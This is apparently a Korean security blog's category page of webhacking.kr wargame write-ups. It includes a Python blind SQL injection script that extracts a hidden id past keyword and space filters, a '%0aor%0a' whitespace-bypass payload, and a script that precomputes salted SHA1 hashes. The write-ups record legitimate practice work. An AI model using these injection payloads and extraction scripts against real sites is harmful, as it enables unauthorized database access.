'Solve Problem/Webhacking.kr'에 해당되는 글 34건

반응형

이번 문제는 기존의 생각을 뒤바꿔준 문제였다.

자세한 것은 문제를 풀며 알아가보자.



문제에 접근하면 다음과 같이 1 2 3이 있으며 1과 2를 누르면 해당 no에 해당하는 id 값이 출력된다.

이 때, 3을 클릭하면 [ no 3's id is password ] 이라는 문구와 함께 column은 id와 no라고 알려준다.


Injection이 가능한지는 다음과 같이 입력해서 알 수 있었다.

위의 입력을 통해 no=2일 때와 결과가 동일하게 나왔기 때문에 SQLi라는 것을 확인하고 진행하였다.


확인 결과 필터링이 굉장히 많았다. (필터링에 걸리면 Access Denied가 출력된다.)

내가 확인한 필터링만 해도 아래와 같다.

- %

- and, or, &&, ||

- select

- 공백

- union


가장 먼저 시도한 것은 no=3 and substr(id,1,1)='a' 이런 식이였는데 공백도 막히고 and도 막혔는데 거기에 %까지 막혀버리니;;

그래도 띄어쓰기는 괄호를 이용하여 우회할 수 있었는데 '내가 원하는 no가 3일 때의 id를 어떻게 조회를 할 수 있는가'의 개념에서 막혔다.


그래서 이에 대한 삽질의 결과가 아래 포스팅에 담겨있다.

https://rootable.tistory.com/entry/SQL-Injection-and-filter-bypass


이를 통해 no가 3일 때의 id 값에 대해 조회를 할 수 있었고 이를 기반으로 아래 파이썬 코드를 통해 패스워드를 획득할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
def calc_len(url):
    for i in range(1,20):
        param='if((length(id))in('+str(i)+'),3,9)'
        req=requests.get(url+param)
        if('Secret' in req.text):
            print("[+]Find length : "+str(i))
            return i
 
def find_id(url,length):
    id=''
 
    for i in range(1,length+1):
        for j in range(97,123):
            param="if((substr(id,"+str(i)+",1))in('"+chr(j)+"'),3,9)"
            print(param)
            req=requests.get(url+param)
            if('Secret' in req.text):
                print("[+]Find "+str(i)+"'s id : "+chr(j))
                id+=chr(j)
                break
 
    return id
 
 
url="https://webhacking.kr/challenge/web-09/?no="
length = calc_len(url)
id=find_id(url,length)
print("solve id : "+id)
cs



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-60 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
4번 문제  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
[webhacking.kr] 20번 문제  (0) 2018.03.09
블로그 이미지

rootable

,
반응형

문제에 접근하여 소스코드를 보면 다음과 같이 나와있다.

1
2
3
4
5
6
7
<?php
  sleep(1); // anti brute force
  if((isset($_SESSION['chall4'])) && ($_POST['key'== $_SESSION['chall4'])) solve(4);
  $hash = rand(10000000,99999999)."salt_for_you";
  $_SESSION['chall4'= $hash;
  for($i=0;$i<500;$i++$hash = sha1($hash);
?>
cs


분석해보자면 세션에 chall4 값이 존재해야 하며, key값으로 제공하는 것이 세션 내의 chall4와 일치하면 solve된다.

이 때 세션의 chall4 값은 10000000와 99999999 사이의 랜덤 값과 "salt_for_you" 문자열이 붙은 값이며

우리에게 보이는 값은 해당 값을 500번 sha1 hash한 value이다.


처음에는 설마 이걸 계산해서 하라고 하겠어 라는 생각에 sha1의 취약점이라던지, type casting, loose comparison 취약점이라 생각하고 찾아보았지만 잘 나오지 않았다.


그래서 그냥 컴퓨터의 힘을 빌렸다.

아래와 같이 python 코드를 작성하여 레인보우 테이블을 만든 뒤 검색하여 풀었다.


1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
 
= open("C:\\hack_temp\\04.txt",'w')
for i in range(10000000,20000000):
    ori=str(i)+"salt_for_you"
    f.write(ori + " : ")
    for j in range(0,500):
        ori=hashlib.sha1(ori.encode('utf-8')).hexdigest()
    f.write(ori)
    f.write('\n')
 
f.close()
cs


생각보다 검색해서 잘 안나오면 그냥 파이썬 코드 작성해서 자동으로 찾아 문제 풀도록 하려했지만 금방 나와서 그냥 패스

반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-47  (0) 2020.04.10
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
[webhacking.kr] 20번 문제  (0) 2018.03.09
[webhacking.kr] 18번 문제  (0) 2018.03.08
블로그 이미지

rootable

,

[webhacking.kr] 19번 문제

2018. 3. 17. 15:54

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[webhacking.kr] 20번 문제

2018. 3. 9. 08:58

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형


반가운 SQL Injection 문제이다.

index.phps가 주어지니 한번 보자.



쿼리 결과가 admin이면 문제가 풀린다.

그리고 사용하지 못하는 문자들을 알 수 있다.


띄어쓰기를 우회하면 될 것으로 모여 간단하게 %0a를 통해 풀었다,

?no=0%0aor%0ano=2


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 19번 문제  (0) 2018.03.17
[webhacking.kr] 20번 문제  (0) 2018.03.09
[webhacking.kr] 17번 문제  (0) 2018.03.08
[webhacking.kr] 16번 문제  (0) 2018.03.08
[webhacking.kr] 15번 문제  (0) 2018.03.07
블로그 이미지

rootable

,
반응형


문제를 들어가니 빈칸과 check 버튼이 있다.

소스코드를 보자.



스크립트에 이상한 문자들이 보인다.

이는 간단하게 개발자 도구의 console을 이용하면 된다.



check 버튼을 누르면 sub() 함수가 실행되는데 이는 unlock과 입력한 값과 동일하면 문제가 풀린다.

(답은 unlock/10임을 코드를 통해서도 알 수 있다 )



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 20번 문제  (0) 2018.03.09
[webhacking.kr] 18번 문제  (0) 2018.03.08
[webhacking.kr] 16번 문제  (0) 2018.03.08
[webhacking.kr] 15번 문제  (0) 2018.03.07
[webhacking.kr] 14번 문제  (0) 2018.03.07
블로그 이미지

rootable

,
반응형


접속하면 위와 같이 별 모양들이 뜬다.

소스코드를 보자


소스코드를 보면 key를 누를 때마다 mv함수를 실행시킨다.

Chrome에서는 잘 안되니 IE로 가자.

FPS 게임처럼 WASD로 노란색 별이 움직인다.


mv함수는 노란색 큰 별을 이동시키는 것을 알았고,

kk함수를 보면 rndc라고 해서 랜덤한 값에 큰 값을 곱하는데 이는 새로 생기는 작은 별의 색을 지정하기 위해 랜덤한 값을 설정하는 것이다.


mv함수의 첫번째에서 kk 함수를 호출하는데

우리가 WASD로 큰 노란별을 움직일 떄마다 이에 상대적으로 하여 작은 별이 생긴다.


문제는 답이 무엇일까라는 점이다.

상대적인 두 별이 같은 지점에 오면 문제가 풀릴까?


음... 좀 더 자세히 보니 if(cd==124) location.href=String.fromCharCode(cd); 라는 코드가 있었다.


event.keyCode가 뭔지 보니 | 였고 그걸 클릭해보니 정답이 떴다.


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 18번 문제  (0) 2018.03.08
[webhacking.kr] 17번 문제  (0) 2018.03.08
[webhacking.kr] 15번 문제  (0) 2018.03.07
[webhacking.kr] 14번 문제  (0) 2018.03.07
[webhacking.kr] 13번 문제  (0) 2018.03.07
블로그 이미지

rootable

,
반응형

문제를 클릭하면 Access_Denied 창이 뜬다.

확인을 누르면 Password is off_ 어쩌구가 뜬다.


버프를 잡으면 응답 내에 답이 있다.


이야 쉽다 키키키키

반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 17번 문제  (0) 2018.03.08
[webhacking.kr] 16번 문제  (0) 2018.03.08
[webhacking.kr] 14번 문제  (0) 2018.03.07
[webhacking.kr] 13번 문제  (0) 2018.03.07
[webhacking.kr] 8번 문제  (0) 2018.03.05
블로그 이미지

rootable

,